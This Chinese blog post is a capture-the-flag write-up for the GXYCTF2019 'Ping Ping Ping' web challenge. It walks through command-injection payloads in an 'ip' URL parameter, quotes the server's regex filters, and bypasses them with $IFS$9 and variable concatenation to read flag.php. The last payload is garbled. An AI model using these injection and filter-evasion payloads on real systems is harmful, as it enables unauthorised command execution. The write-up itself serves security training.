CTF_Web_[GXYCTF2019]Ping Ping Ping

本文介绍了参与网络安全靶机挑战的过程,通过分析URL中的“/?ip=”可能的ping功能,尝试利用命令注入来查找和读取文件。在测试中发现了一些过滤符号的规律,并且找到了可能包含flag的flag.php文件。由于正则过滤,直接查看文件内容受阻,但最终通过变量拼接字符串的方法成功间接读取了flag.php的内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、题目

Ping Ping Ping

二、靶机信息链接

靶机信息
剩余时间: 10072s
http://70284b15-7c4e-4548-8b04-aadbc6e669f5.node4.buuoj.cn:81

三、靶机链接页面

CTF_Web_GXYCTF2019 Ping Ping Ping靶机照片

四、 分析

因题目是Ping...再加上靶机页面有“/?ip=”
可能是 ping地址,尝试按照所给的内容在url中加入地址,如:http://70284b15-7c4e-4548-8b04-aadbc6e669f5.node4.buuoj.cn:81/?ip=192.168.0.1
CTF_Web_GXYCTF2019 Ping Ping Ping 尝试ping后显示的内容

4.1找文件

根据大佬解题的思路,我们来找文件,进行测试。
可以利用拼接命令,在/?ip=210.0.0.1后面用拼接符与查看命令连接起来

& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &
&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo ‘2’
| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l
|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”
; 分号表示命令依次执行。

尝试输入:/?Ip=210.0.0.1&&ls (ls:查找文件)

发现没有任何新的回显,应该是因为前面是假ping,所以后面的命令不执行

————————————————
尝试输入:/?Ip=210.0.0.1||ls ||或
如上图,“||”会有效果—显示了两个后缀为“php”的文件名.
“|”
|

4.2文件名分析(显示文件内容)

4.1找文件测试中,发现flag.php文件,或许我们要找的flag就在其中。通过显示文件内容指令cat
根据大佬的测试,我们也做了测试:/?ip=192.168.0.1|cat%20flag.php
通过大佬的分析得知是提示我们,空格被过滤了
/?ip=192.168.0.1|cat%20flag.php

4.3flag测试

拼接flag(使用“|”),测试发现flag也被过滤了
flag

4.4符号测试

符号也被过滤了
{}

4.5

$IFS$9并没有被过滤掉
发现$IFS$9可以
`/?ip= /?ip= |‘|“|\|(|)|[|]|{|}/”, $ip, $match)){
echo preg_match("/&|/|?|*|<|[\x{00}-\x{20}]|>|’|“|\|(|)|[|]|{|}/”,
$ip, $match);
die(“fxck your symbol!”); } else if(preg_match(“/ /”, $ip)){
die(“fxck your space!”); } else if(preg_match(“/bash/”, $ip)){
die(“fxck your bash!”); } else if(preg_match(“/.*f.*l.*a.g./”, $ip)){
die(“fxck your flag!”); } a=shellexec("ping−c4".a = shell_exec("ping -c 4 ".a=shellexec("pingc4".ip); echo " "; print_r($a); }

?>`

$IFS$9:CTF中若space被过滤了,用来代表space以分割字符/单词。
这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,只有cat$IFSa.txt的时候,bash解释器会把整个IFSa当做变量名,所以导致没有办法运行,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,而$9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离。

五、解决

既然flag被过滤掉了,那我们就避开正则表达式的过滤。
间接地查看flag.php文件内容。

六、查看该文件

6.1法一

变量拼接字符串。
/?ip=210.0.0.1;b=ag.php;b=fl;cat$IFS$9$a$b

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

拾贰_Python

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值